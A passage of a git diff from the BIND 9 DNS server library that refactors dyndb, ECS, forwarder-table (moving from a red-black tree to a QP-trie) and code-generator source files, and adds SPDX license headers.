  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
@@ -10,7 +12,6 @@
  */
 
 #include <string.h>
-#include <uv.h>
 
 #include <isc/buffer.h>
 #include <isc/mem.h>
@@ -18,9 +19,9 @@
 #include <isc/once.h>
 #include <isc/region.h>
 #include <isc/result.h>
-#include <isc/task.h>
 #include <isc/types.h>
 #include <isc/util.h>
+#include <isc/uv.h>
 
 #include <dns/dyndb.h>
 #include <dns/log.h>
@@ -125,10 +126,11 @@ load_library(isc_mem_t *mctx, const char *filename, const char *instname,
 		      instname, filename);
 
 	imp = isc_mem_get(mctx, sizeof(*imp));
-	memset(imp, 0, sizeof(*imp));
-	isc_mem_attach(mctx, &imp->mctx);
+	*imp = (dyndb_implementation_t){
+		.name = isc_mem_strdup(mctx, instname),
+	};
 
-	imp->name = isc_mem_strdup(imp->mctx, instname);
+	isc_mem_attach(mctx, &imp->mctx);
 
 	INIT_LINK(imp, link);
 
@@ -209,7 +211,7 @@ dns_dyndb_load(const char *libname, const char *name, const char *parameters,
 	REQUIRE(DNS_DYNDBCTX_VALID(dctx));
 	REQUIRE(name != NULL);
 
-	RUNTIME_CHECK(isc_once_do(&once, dyndb_initialize) == ISC_R_SUCCESS);
+	isc_once_do(&once, dyndb_initialize);
 
 	LOCK(&dyndb_lock);
 
@@ -241,7 +243,7 @@ dns_dyndb_cleanup(bool exiting) {
 	dyndb_implementation_t *elem;
 	dyndb_implementation_t *prev;
 
-	RUNTIME_CHECK(isc_once_do(&once, dyndb_initialize) == ISC_R_SUCCESS);
+	isc_once_do(&once, dyndb_initialize);
 
 	LOCK(&dyndb_lock);
 	elem = TAIL(dyndb_implementations);
@@ -265,28 +267,25 @@ dns_dyndb_cleanup(bool exiting) {
 
 isc_result_t
 dns_dyndb_createctx(isc_mem_t *mctx, const void *hashinit, isc_log_t *lctx,
-		    dns_view_t *view, dns_zonemgr_t *zmgr, isc_task_t *task,
-		    isc_timermgr_t *tmgr, dns_dyndbctx_t **dctxp) {
+		    dns_view_t *view, dns_zonemgr_t *zmgr,
+		    isc_loopmgr_t *loopmgr, dns_dyndbctx_t **dctxp) {
 	dns_dyndbctx_t *dctx;
 
 	REQUIRE(dctxp != NULL && *dctxp == NULL);
 
 	dctx = isc_mem_get(mctx, sizeof(*dctx));
+	*dctx = (dns_dyndbctx_t){
+		.loopmgr = loopmgr,
+		.hashinit = hashinit,
+		.lctx = lctx,
+	};
 
-	memset(dctx, 0, sizeof(*dctx));
 	if (view != NULL) {
 		dns_view_attach(view, &dctx->view);
 	}
 	if (zmgr != NULL) {
 		dns_zonemgr_attach(zmgr, &dctx->zmgr);
 	}
-	if (task != NULL) {
-		isc_task_attach(task, &dctx->task);
-	}
-	dctx->timermgr = tmgr;
-	dctx->hashinit = hashinit;
-	dctx->lctx = lctx;
-	dctx->refvar = &isc_bind9;
 
 	isc_mem_attach(mctx, &dctx->mctx);
 	dctx->magic = DNS_DYNDBCTX_MAGIC;
@@ -313,10 +312,7 @@ dns_dyndb_destroyctx(dns_dyndbctx_t **dctxp) {
 	if (dctx->zmgr != NULL) {
 		dns_zonemgr_detach(&dctx->zmgr);
 	}
-	if (dctx->task != NULL) {
-		isc_task_detach(&dctx->task);
-	}
-	dctx->timermgr = NULL;
+	dctx->loopmgr = NULL;
 	dctx->lctx = NULL;
 
 	isc_mem_putanddetach(&dctx->mctx, dctx, sizeof(*dctx));
diff --git a/lib/dns/ecs.c b/lib/dns/ecs.c
index 60aa3cd8c0..19166c027f 100644
--- a/lib/dns/ecs.c
+++ b/lib/dns/ecs.c
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
@@ -13,36 +15,98 @@
 
 #include <string.h>
 
+#include <isc/buffer.h>
+#include <isc/mem.h>
 #include <isc/netaddr.h>
-#include <isc/print.h>
 #include <isc/util.h>
 
 #include <dns/ecs.h>
+#include <dns/nsec.h>
+#include <dns/rbt.h>
+#include <dns/rdata.h>
+#include <dns/rdatatype.h>
+#include <dns/result.h>
 #include <dns/types.h>
 
 void
 dns_ecs_init(dns_ecs_t *ecs) {
 	isc_netaddr_unspec(&ecs->addr);
 	ecs->source = 0;
+	ecs->scope = 0xff;
+}
+
+bool
+dns_ecs_equals(const dns_ecs_t *ecs1, const dns_ecs_t *ecs2) {
+	const unsigned char *addr1, *addr2;
+	uint8_t mask;
+	size_t alen;
+
+	REQUIRE(ecs1 != NULL && ecs2 != NULL);
+
+	if (ecs1->source != ecs2->source ||
+	    ecs1->addr.family != ecs2->addr.family)
+	{
+		return (false);
+	}
+
+	alen = (ecs1->source + 7) / 8;
+	if (alen == 0) {
+		return (true);
+	}
+
+	switch (ecs1->addr.family) {
+	case AF_INET:
+		INSIST(alen <= 4);
+		addr1 = (const unsigned char *)&ecs1->addr.type.in;
+		addr2 = (const unsigned char *)&ecs2->addr.type.in;
+		break;
+	case AF_INET6:
+		INSIST(alen <= 16);
+		addr1 = (const unsigned char *)&ecs1->addr.type.in6;
+		addr2 = (const unsigned char *)&ecs2->addr.type.in6;
+		break;
+	default:
+		UNREACHABLE();
+	}
+
+	/*
+	 * Compare all octets except the final octet of the address
+	 * prefix.
+	 */
+	if (alen > 1 && memcmp(addr1, addr2, alen - 1) != 0) {
+		return (false);
+	}
+
 	/*
-	 * XXXMUKS: Fix me when resolver ECS gets merged where scope
-	 * gets initialized to 0xff.
+	 * It should not be necessary to mask the final octet; all
+	 * bits past the source prefix length are supposed to be 0.
+	 * However, it seems prudent not to omit them from the
+	 * comparison anyway.
 	 */
-	ecs->scope = 0;
+	mask = (~0U << (8 - (ecs1->source % 8))) & 0xff;
+	if (mask == 0) {
+		mask = 0xff;
+	}
+
+	if ((addr1[alen - 1] & mask) != (addr2[alen - 1] & mask)) {
+		return (false);
+	}
+
+	return (true);
 }
 
 void
-dns_ecs_format(dns_ecs_t *ecs, char *buf, size_t size) {
+dns_ecs_format(const dns_ecs_t *ecs, char *buf, size_t size) {
 	size_t len;
+	char *p;
 
 	REQUIRE(ecs != NULL);
 	REQUIRE(buf != NULL);
 	REQUIRE(size >= DNS_ECS_FORMATSIZE);
 
-	isc_netaddr_format(&ecs->addr, buf, (unsigned int)size);
+	isc_netaddr_format(&ecs->addr, buf, size);
 	len = strlen(buf);
-	INSIST(size >= len);
-	buf += len;
-	size -= len;
-	snprintf(buf, size, "/%u/%u", ecs->source, ecs->scope);
+	p = buf + len;
+	snprintf(p, size - len, "/%d/%d", ecs->source,
+		 ecs->scope == 0xff ? 0 : ecs->scope);
 }
diff --git a/lib/dns/fixedname.c b/lib/dns/fixedname.c
index 5fafeebed5..c6d899d95e 100644
--- a/lib/dns/fixedname.c
+++ b/lib/dns/fixedname.c
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
diff --git a/lib/dns/forward.c b/lib/dns/forward.c
index b8602324f0..20fdc5d4fb 100644
--- a/lib/dns/forward.c
+++ b/lib/dns/forward.c
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
@@ -13,96 +15,114 @@
 
 #include <isc/magic.h>
 #include <isc/mem.h>
-#include <isc/rwlock.h>
+#include <isc/result.h>
 #include <isc/util.h>
 
+#include <dns/fixedname.h>
 #include <dns/forward.h>
-#include <dns/rbt.h>
-#include <dns/result.h>
+#include <dns/name.h>
+#include <dns/qp.h>
 #include <dns/types.h>
+#include <dns/view.h>
 
 struct dns_fwdtable {
 	/* Unlocked. */
 	unsigned int magic;
 	isc_mem_t *mctx;
-	isc_rwlock_t rwlock;
-	/* Locked by lock. */
-	dns_rbt_t *table;
+	dns_qpmulti_t *table;
 };
 
 #define FWDTABLEMAGIC	   ISC_MAGIC('F', 'w', 'd', 'T')
 #define VALID_FWDTABLE(ft) ISC_MAGIC_VALID(ft, FWDTABLEMAGIC)
 
 static void
-auto_detach(void *, void *);
+qp_attach(void *uctx, void *pval, uint32_t ival);
+static void
+qp_detach(void *uctx, void *pval, uint32_t ival);
+static size_t
+qp_makekey(dns_qpkey_t key, void *uctx, void *pval, uint32_t ival);
+static void
+qp_triename(void *uctx, char *buf, size_t size);
 
-isc_result_t
-dns_fwdtable_create(isc_mem_t *mctx, dns_fwdtable_t **fwdtablep) {
-	dns_fwdtable_t *fwdtable;
-	isc_result_t result;
+static dns_qpmethods_t qpmethods = {
+	qp_attach,
+	qp_detach,
+	qp_makekey,
+	qp_triename,
+};
+
+void
+dns_fwdtable_create(isc_mem_t *mctx, dns_view_t *view,
+		    dns_fwdtable_t **fwdtablep) {
+	dns_fwdtable_t *fwdtable = NULL;
 
 	REQUIRE(fwdtablep != NULL && *fwdtablep == NULL);
 
-	fwdtable = isc_mem_get(mctx, sizeof(dns_fwdtable_t));
+	fwdtable = isc_mem_get(mctx, sizeof(*fwdtable));
+	*fwdtable = (dns_fwdtable_t){ .magic = FWDTABLEMAGIC };
 
-	fwdtable->table = NULL;
-	result = dns_rbt_create(mctx, auto_detach, fwdtable, &fwdtable->table);
-	if (result != ISC_R_SUCCESS) {
-		goto cleanup_fwdtable;
-	}
+	dns_qpmulti_create(mctx, &qpmethods, view, &fwdtable->table);
 
-	isc_rwlock_init(&fwdtable->rwlock, 0, 0);
-	fwdtable->mctx = NULL;
 	isc_mem_attach(mctx, &fwdtable->mctx);
-	fwdtable->magic = FWDTABLEMAGIC;
 	*fwdtablep = fwdtable;
+}
 
-	return (ISC_R_SUCCESS);
+static dns_forwarders_t *
+new_forwarders(isc_mem_t *mctx, const dns_name_t *name,
+	       dns_fwdpolicy_t fwdpolicy) {
+	dns_forwarders_t *forwarders = NULL;
 
-cleanup_fwdtable:
-	isc_mem_put(mctx, fwdtable, sizeof(dns_fwdtable_t));
+	forwarders = isc_mem_get(mctx, sizeof(*forwarders));
+	*forwarders = (dns_forwarders_t){
+		.fwdpolicy = fwdpolicy,
+		.fwdrs = ISC_LIST_INITIALIZER,
+	};
+	isc_mem_attach(mctx, &forwarders->mctx);
+	isc_refcount_init(&forwarders->references, 1);
 
-	return (result);
+	forwarders->name = dns_fixedname_initname(&forwarders->fn);
+	dns_name_copy(name, forwarders->name);
+
+	return (forwarders);
 }
 
 isc_result_t
 dns_fwdtable_addfwd(dns_fwdtable_t *fwdtable, const dns_name_t *name,
 		    dns_forwarderlist_t *fwdrs, dns_fwdpolicy_t fwdpolicy) {
 	isc_result_t result;
-	dns_forwarders_t *forwarders;
-	dns_forwarder_t *fwd, *nfwd;
+	dns_forwarders_t *forwarders = NULL;
+	dns_forwarder_t *fwd = NULL, *nfwd = NULL;
+	dns_qp_t *qp = NULL;
 
 	REQUIRE(VALID_FWDTABLE(fwdtable));
 
-	forwarders = isc_mem_get(fwdtable->mctx, sizeof(dns_forwarders_t));
+	forwarders = new_forwarders(fwdtable->mctx, name, fwdpolicy);
 
-	ISC_LIST_INIT(forwarders->fwdrs);
 	for (fwd = ISC_LIST_HEAD(*fwdrs); fwd != NULL;
-	     fwd = ISC_LIST_NEXT(fwd, link)) {
-		nfwd = isc_mem_get(fwdtable->mctx, sizeof(dns_forwarder_t));
+	     fwd = ISC_LIST_NEXT(fwd, link))
+	{
+		nfwd = isc_mem_get(fwdtable->mctx, sizeof(*nfwd));
 		*nfwd = *fwd;
+
+		if (fwd->tlsname != NULL) {
+			nfwd->tlsname = isc_mem_get(fwdtable->mctx,
+						    sizeof(*nfwd->tlsname));
+			dns_name_init(nfwd->tlsname, NULL);
+			dns_name_dup(fwd->tlsname, fwdtable->mctx,
+				     nfwd->tlsname);
+		}
+
 		ISC_LINK_INIT(nfwd, link);
 		ISC_LIST_APPEND(forwarders->fwdrs, nfwd, link);
 	}
-	forwarders->fwdpolicy = fwdpolicy;
-
-	RWLOCK(&fwdtable->rwlock, isc_rwlocktype_write);
-	result = dns_rbt_addname(fwdtable->table, name, forwarders);
-	RWUNLOCK(&fwdtable->rwlock, isc_rwlocktype_write);
 
-	if (result != ISC_R_SUCCESS) {
-		goto cleanup;
-	}
+	dns_qpmulti_write(fwdtable->table, &qp);
+	result = dns_qp_insert(qp, forwarders, 0);
+	dns_qp_compact(qp, DNS_QPGC_MAYBE);
+	dns_qpmulti_commit(fwdtable->table, &qp);
 
-	return (ISC_R_SUCCESS);
+	dns_forwarders_detach(&forwarders);
 
-cleanup:
-	while (!ISC_LIST_EMPTY(forwarders->fwdrs)) {
-		fwd = ISC_LIST_HEAD(forwarders->fwdrs);
-		ISC_LIST_UNLINK(forwarders->fwdrs, fwd, link);
-		isc_mem_put(fwdtable->mctx, fwd, sizeof(isc_sockaddr_t));
-	}
-	isc_mem_put(fwdtable->mctx, forwarders, sizeof(dns_forwarders_t));
 	return (result);
 }
 
@@ -110,96 +130,68 @@ isc_result_t
 dns_fwdtable_add(dns_fwdtable_t *fwdtable, const dns_name_t *name,
 		 isc_sockaddrlist_t *addrs, dns_fwdpolicy_t fwdpolicy) {
 	isc_result_t result;
-	dns_forwarders_t *forwarders;
-	dns_forwarder_t *fwd;
-	isc_sockaddr_t *sa;
+	dns_forwarders_t *forwarders = NULL;
+	dns_forwarder_t *fwd = NULL;
+	isc_sockaddr_t *sa = NULL;
+	dns_qp_t *qp = NULL;
 
 	REQUIRE(VALID_FWDTABLE(fwdtable));
 
-	forwarders = isc_mem_get(fwdtable->mctx, sizeof(dns_forwarders_t));
+	forwarders = new_forwarders(fwdtable->mctx, name, fwdpolicy);
 
-	ISC_LIST_INIT(forwarders->fwdrs);
 	for (sa = ISC_LIST_HEAD(*addrs); sa != NULL;
-	     sa = ISC_LIST_NEXT(sa, link)) {
-		fwd = isc_mem_get(fwdtable->mctx, sizeof(dns_forwarder_t));
-		fwd->addr = *sa;
-		fwd->dscp = -1;
-		ISC_LINK_INIT(fwd, link);
+	     sa = ISC_LIST_NEXT(sa, link))
+	{
+		fwd = isc_mem_get(fwdtable->mctx, sizeof(*fwd));
+		*fwd = (dns_forwarder_t){ .addr = *sa,
+					  .link = ISC_LINK_INITIALIZER };
 		ISC_LIST_APPEND(forwarders->fwdrs, fwd, link);
 	}
-	forwarders->fwdpolicy = fwdpolicy;
-
-	RWLOCK(&fwdtable->rwlock, isc_rwlocktype_write);
-	result = dns_rbt_addname(fwdtable->table, name, forwarders);
-	RWUNLOCK(&fwdtable->rwlock, isc_rwlocktype_write);
-
-	if (result != ISC_R_SUCCESS) {
-		goto cleanup;
-	}
-
-	return (ISC_R_SUCCESS);
-
-cleanup:
-	while (!ISC_LIST_EMPTY(forwarders->fwdrs)) {
-		fwd = ISC_LIST_HEAD(forwarders->fwdrs);
-		ISC_LIST_UNLINK(forwarders->fwdrs, fwd, link);
-		isc_mem_put(fwdtable->mctx, fwd, sizeof(dns_forwarder_t));
-	}
-	isc_mem_put(fwdtable->mctx, forwarders, sizeof(dns_forwarders_t));
-	return (result);
-}
 
-isc_result_t
-dns_fwdtable_delete(dns_fwdtable_t *fwdtable, const dns_name_t *name) {
-	isc_result_t result;
+	dns_qpmulti_write(fwdtable->table, &qp);
+	result = dns_qp_insert(qp, forwarders, 0);
+	dns_qp_compact(qp, DNS_QPGC_MAYBE);
+	dns_qpmulti_commit(fwdtable->table, &qp);
 
-	REQUIRE(VALID_FWDTABLE(fwdtable));
-
-	RWLOCK(&fwdtable->rwlock, isc_rwlocktype_write);
-	result = dns_rbt_deletename(fwdtable->table, name, false);
-	RWUNLOCK(&fwdtable->rwlock, isc_rwlocktype_write);
-
-	if (result == DNS_R_PARTIALMATCH) {
-		result = ISC_R_NOTFOUND;
-	}
+	dns_forwarders_detach(&forwarders);
 
 	return (result);
 }
 
 isc_result_t
 dns_fwdtable_find(dns_fwdtable_t *fwdtable, const dns_name_t *name,
-		  dns_name_t *foundname, dns_forwarders_t **forwardersp) {
+		  dns_forwarders_t **forwardersp) {
 	isc_result_t result;
+	dns_qpread_t qpr;
+	void *pval = NULL;
 
 	REQUIRE(VALID_FWDTABLE(fwdtable));
 
-	RWLOCK(&fwdtable->rwlock, isc_rwlocktype_read);
-
-	result = dns_rbt_findname(fwdtable->table, name, 0, foundname,
-				  (void **)forwardersp);
-	if (result == DNS_R_PARTIALMATCH) {
-		result = ISC_R_SUCCESS;
+	dns_qpmulti_query(fwdtable->table, &qpr);
+	result = dns_qp_findname_ancestor(&qpr, name, 0, &pval, NULL);
+	if (result == ISC_R_SUCCESS || result == DNS_R_PARTIALMATCH) {
+		dns_forwarders_t *fwdrs = pval;
+		*forwardersp = fwdrs;
+		dns_forwarders_ref(fwdrs);
 	}
-
-	RWUNLOCK(&fwdtable->rwlock, isc_rwlocktype_read);
+	dns_qpread_destroy(fwdtable->table, &qpr);
 
 	return (result);
 }
 
 void
 dns_fwdtable_destroy(dns_fwdtable_t **fwdtablep) {
-	dns_fwdtable_t *fwdtable;
+	dns_fwdtable_t *fwdtable = NULL;
 
 	REQUIRE(fwdtablep != NULL && VALID_FWDTABLE(*fwdtablep));
 
 	fwdtable = *fwdtablep;
 	*fwdtablep = NULL;
 
-	dns_rbt_destroy(&fwdtable->table);
-	isc_rwlock_destroy(&fwdtable->rwlock);
+	dns_qpmulti_destroy(&fwdtable->table);
 	fwdtable->magic = 0;
 
-	isc_mem_putanddetach(&fwdtable->mctx, fwdtable, sizeof(dns_fwdtable_t));
+	isc_mem_putanddetach(&fwdtable->mctx, fwdtable, sizeof(*fwdtable));
 }
 
 /***
@@ -207,17 +199,52 @@ dns_fwdtable_destroy(dns_fwdtable_t **fwdtablep) {
  ***/
 
 static void
-auto_detach(void *data, void *arg) {
-	dns_forwarders_t *forwarders = data;
-	dns_fwdtable_t *fwdtable = arg;
-	dns_forwarder_t *fwd;
-
-	UNUSED(arg);
+destroy_forwarders(dns_forwarders_t *forwarders) {
+	dns_forwarder_t *fwd = NULL;
 
 	while (!ISC_LIST_EMPTY(forwarders->fwdrs)) {
 		fwd = ISC_LIST_HEAD(forwarders->fwdrs);
 		ISC_LIST_UNLINK(forwarders->fwdrs, fwd, link);
-		isc_mem_put(fwdtable->mctx, fwd, sizeof(dns_forwarder_t));
+		if (fwd->tlsname != NULL) {
+			dns_name_free(fwd->tlsname, forwarders->mctx);
+			isc_mem_put(forwarders->mctx, fwd->tlsname,
+				    sizeof(*fwd->tlsname));
+		}
+		isc_mem_put(forwarders->mctx, fwd, sizeof(*fwd));
 	}
-	isc_mem_put(fwdtable->mctx, forwarders, sizeof(dns_forwarders_t));
+	isc_mem_putanddetach(&forwarders->mctx, forwarders,
+			     sizeof(*forwarders));
+}
+
+#if DNS_FORWARD_TRACE
+ISC_REFCOUNT_TRACE_IMPL(dns_forwarders, destroy_forwarders);
+#else
+ISC_REFCOUNT_IMPL(dns_forwarders, destroy_forwarders);
+#endif
+
+static void
+qp_attach(void *uctx ISC_ATTR_UNUSED, void *pval,
+	  uint32_t ival ISC_ATTR_UNUSED) {
+	dns_forwarders_t *forwarders = pval;
+	dns_forwarders_ref(forwarders);
+}
+
+static void
+qp_detach(void *uctx ISC_ATTR_UNUSED, void *pval,
+	  uint32_t ival ISC_ATTR_UNUSED) {
+	dns_forwarders_t *forwarders = pval;
+	dns_forwarders_detach(&forwarders);
+}
+
+static size_t
+qp_makekey(dns_qpkey_t key, void *uctx ISC_ATTR_UNUSED, void *pval,
+	   uint32_t ival ISC_ATTR_UNUSED) {
+	dns_forwarders_t *fwd = pval;
+	return (dns_qpkey_fromname(key, fwd->name));
+}
+
+static void
+qp_triename(void *uctx, char *buf, size_t size) {
+	dns_view_t *view = uctx;
+	snprintf(buf, size, "view %s forwarder table", view->name);
 }
diff --git a/lib/dns/gen.c b/lib/dns/gen.c
index 2939c175e7..7f690ce9ab 100644
--- a/lib/dns/gen.c
+++ b/lib/dns/gen.c
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
@@ -12,21 +14,22 @@
 /*! \file */
 
 #include <ctype.h>
+#include <dirent.h>
 #include <errno.h>
 #include <limits.h>
+#include <stdbool.h>
 #include <stdint.h>
 #include <stdio.h>
 #include <stdlib.h>
 #include <string.h>
 #include <sys/types.h>
 #include <time.h>
+#include <unistd.h>
 
 #ifndef PATH_MAX
 #define PATH_MAX 1024
 #endif /* ifndef PATH_MAX */
 
-#include "gen.h"
-
 #ifndef ULLONG_MAX
 #define ULLONG_MAX (~0ULL)
 #endif /* ifndef ULLONG_MAX */
@@ -48,7 +51,7 @@
 #define TOTEXTTYPE  "rdata->type"
 #define TOTEXTDEF   "use_default = true"
 
-#define FROMWIREARGS  "rdclass, type, source, dctx, options, target"
+#define FROMWIREARGS  "rdclass, type, source, dctx, target"
 #define FROMWIRECLASS "rdclass"
 #define FROMWIRETYPE  "type"
 #define FROMWIREDEF   "use_default = true"
@@ -78,7 +81,7 @@
 #define COMPARETYPE  "rdata1->type"
 #define COMPAREDEF   "use_default = true"
 
-#define ADDITIONALDATAARGS  "rdata, add, arg"
+#define ADDITIONALDATAARGS  "rdata, owner, add, arg"
 #define ADDITIONALDATACLASS "rdata->rdclass"
 #define ADDITIONALDATATYPE  "rdata->type"
 #define ADDITIONALDATADEF   "use_default = true"
@@ -106,8 +109,8 @@ static const char copyright[] = "/*\n"
 				"terms of the Mozilla Public\n"
 				" * License, v. 2.0. If a copy of the MPL was "
 				"not distributed with this\n"
-				" * file, You can obtain one at "
-				"http://mozilla.org/MPL/2.0/.\n"
+				" * file, you can obtain one at "
+				"https://mozilla.org/MPL/2.0/.\n"
 				" */\n"
 				"\n"
 				"/***************\n"
@@ -127,14 +130,14 @@ static const char copyright[] = "/*\n"
 #define TYPENAMES     256
 #define TYPECLASSLEN  20 /* DNS mnemonic size. Must be less than 100. */
 #define TYPECLASSBUF  (TYPECLASSLEN + 1)
-#define TYPECLASSFMT  "%" STR(TYPECLASSLEN) "[-0-9a-z]_%d"
+#define TYPECLASSFMT  "%" STR(TYPECLASSLEN) "[-0-9a-z]_%u"
 #define ATTRIBUTESIZE 256
 
 static struct cc {
 	struct cc *next;
-	int rdclass;
+	uint16_t rdclass;
 	char classbuf[TYPECLASSBUF];
-} * classes;
+} *classes;
 
 static struct tt {
 	struct tt *next;
@@ -143,17 +146,23 @@ static struct tt {
 	char classbuf[TYPECLASSBUF];
 	char typebuf[TYPECLASSBUF];
 	char dirbuf[PATH_MAX - 30];
-} * types;
+} *types;
 
 static struct ttnam {
 	char typebuf[TYPECLASSBUF];
 	char macroname[TYPECLASSBUF];
 	char attr[ATTRIBUTESIZE];
-	unsigned int sorted;
+	bool todo;
+	uint8_t hash;
 	uint16_t type;
 } typenames[TYPENAMES];
 
-static int maxtype = -1;
+static int ttnam_count;
+
+typedef struct {
+	DIR *handle;
+	char *filename;
+} isc_dir_t;
 
 static char *
 upper(char *);
@@ -163,12 +172,73 @@ static void
 doswitch(const char *, const char *, const char *, const char *, const char *,
 	 const char *);
 static void
-add(int, const char *, int, const char *, const char *);
+add(unsigned int, const char *, int, const char *, const char *);
 static void
-sd(int, const char *, const char *, char);
+sd(unsigned int, const char *, const char *, char);
 static void
 insert_into_typenames(int, const char *, const char *);
 
+static uint8_t
+HASH(char *string) {
+	size_t n;
+	unsigned char a, b;
+
+	n = strlen(string);
+	INSIST(n > 0);
+	a = tolower((unsigned char)string[0]);
+	b = tolower((unsigned char)string[n - 1]);
+
+	return (((a + n) * b) % 256);
+}
+
+static bool
+start_directory(const char *path, isc_dir_t *dir) {
+	dir->handle = opendir(path);
+
+	if (dir->handle != NULL) {
+		return (true);
+	} else {
+		return (false);
+	}
+}
+
+static bool
+next_file(isc_dir_t *dir) {
+	struct dirent *dirent;
+
+	dir->filename = NULL;
+
+	if (dir->handle != NULL) {
+		errno = 0;
+		dirent = readdir(dir->handle);
+		if (dirent != NULL) {
+			dir->filename = dirent->d_name;
+		} else {
+			if (errno != 0) {
+				fprintf(stderr,
+					"Error: reading directory: %s\n",
+					strerror(errno));
+				exit(1);
+			}
+		}
+	}
+
+	if (dir->filename != NULL) {
+		return (true);
+	} else {
+		return (false);
+	}
+}
+
+static void
+end_directory(isc_dir_t *dir) {
+	if (dir->handle != NULL) {
+		(void)closedir(dir->handle);
+	}
+
+	dir->handle = NULL;
+}
+
 /*%
  * If you use more than 10 of these in, say, a printf(), you'll have problems.
  */
@@ -280,18 +350,6 @@ doswitch(const char *name, const char *function, const char *args,
 	}
 }
 
-static struct ttnam *
-find_typename(int type) {
-	int i;
-
-	for (i = 0; i < TYPENAMES; i++) {
-		if (typenames[i].typebuf[0] != 0 && typenames[i].type == type) {
-			return (&typenames[i]);
-		}
-	}
-	return (NULL);
-}
-
 static void
 insert_into_typenames(int type, const char *typebuf, const char *attr) {
 	struct ttnam *ttn = NULL;
@@ -300,22 +358,25 @@ insert_into_typenames(int type, const char *typebuf, const char *attr) {
 	char tmp[256];
 
 	INSIST(strlen(typebuf) < TYPECLASSBUF);
-	for (i = 0; i < TYPENAMES; i++) {
-		if (typenames[i].typebuf[0] != 0 && typenames[i].type == type &&
-		    strcmp(typebuf, typenames[i].typebuf) != 0)
-		{
+	for (i = 0; i < TYPENAMES && typenames[i].typebuf[0] != 0; i++) {
+		if (typenames[i].type != type) {
+			continue;
+		}
+		if (strcmp(typebuf, typenames[i].typebuf) != 0) {
 			fprintf(stderr,
-				"Error:  type %d has two names: %s, %s\n", type,
+				"Error: type %d has two names: %s, %s\n", type,
 				typenames[i].typebuf, typebuf);
 			exit(1);
 		}
-		if (typenames[i].typebuf[0] == 0 && ttn == NULL) {
-			ttn = &typenames[i];
-		}
+		ttn = &typenames[i];
 	}
-	if (ttn == NULL) {
+	/* Subtract one to leave an empty sentinel entry at the end */
+	if (i >= TYPENAMES - 1) {
 		fprintf(stderr, "Error: typenames array too small\n");
 		exit(1);
+	} else if (ttn == NULL) {
+		ttn = &typenames[i];
+		ttnam_count = i + 1;
 	}
 
 	/* XXXMUKS: This is redundant due to the INSIST above. */
@@ -342,7 +403,7 @@ insert_into_typenames(int type, const char *typebuf, const char *attr) {
 	if (attr == NULL) {
 		n = snprintf(tmp, sizeof(tmp), "RRTYPE_%s_ATTRIBUTES",
 			     upper(ttn->macroname));
-		INSIST(n > 0 && (unsigned)n < sizeof(tmp));
+		INSIST(n > 0 && (unsigned int)n < sizeof(tmp));
 		attr = tmp;
 	}
 
@@ -363,14 +424,12 @@ insert_into_typenames(int type, const char *typebuf, const char *attr) {
 	strncpy(ttn->attr, attr, sizeof(ttn->attr));
 	ttn->attr[sizeof(ttn->attr) - 1] = '\0';
 
-	ttn->sorted = 0;
-	if (maxtype < type) {
-		maxtype = type;
-	}
+	ttn->hash = HASH(ttn->typebuf);
+	ttn->todo = true;
 }
 
 static void
-add(int rdclass, const char *classbuf, int type, const char *typebuf,
+add(unsigned int rdclass, const char *classbuf, int type, const char *typebuf,
     const char *dirbuf) {
 	struct tt *newtt = (struct tt *)malloc(sizeof(*newtt));
 	struct tt *tt, *oldtt;
@@ -413,16 +472,12 @@ add(int rdclass, const char *classbuf, int type, const char *typebuf,
 	}
 
 	while ((tt != NULL) && (tt->type == type) && (tt->rdclass < rdclass)) {
-		if (strcmp(tt->typebuf, typebuf) != 0) {
-			exit(1);
-		}
+		INSIST(strcmp(tt->typebuf, typebuf) == 0);
 		oldtt = tt;
 		tt = tt->next;
 	}
 
-	if ((tt != NULL) && (tt->type == type) && (tt->rdclass == rdclass)) {
-		exit(1);
-	}
+	INSIST(tt == NULL || tt->type != type || tt->rdclass != rdclass);
 
 	newtt->next = tt;
 	if (oldtt != NULL) {
@@ -468,10 +523,12 @@ add(int rdclass, const char *classbuf, int type, const char *typebuf,
 }
 
 static void
-sd(int rdclass, const char *classbuf, const char *dirbuf, char filetype) {
-	char buf[TYPECLASSLEN + sizeof("_65535.h")];
+sd(unsigned int rdclass, const char *classbuf, const char *dirbuf,
+   char filetype) {
+	char buf[TYPECLASSLEN + sizeof("_4294967295.h")];
 	char typebuf[TYPECLASSBUF];
-	int type, n;
+	unsigned int type;
+	int n;
 	isc_dir_t dir;
 
 	if (!start_directory(dirbuf, &dir)) {
@@ -482,48 +539,44 @@ sd(int rdclass, const char *classbuf, const char *dirbuf, char filetype) {
 		if (sscanf(dir.filename, TYPECLASSFMT, typebuf, &type) != 2) {
 			continue;
 		}
-		if ((type > 65535) || (type < 0)) {
-			continue;
-		}
 
-		n = snprintf(buf, sizeof(buf), "%s_%d.%c", typebuf, type,
+		/*
+		 * sscanf accepts leading sign and zeros before type so
+		 * compare the scanned items against the filename. Filter
+		 * out mismatches. Also filter out bad file extensions.
+		 */
+		n = snprintf(buf, sizeof(buf), "%s_%u.%c", typebuf, type,
 			     filetype);
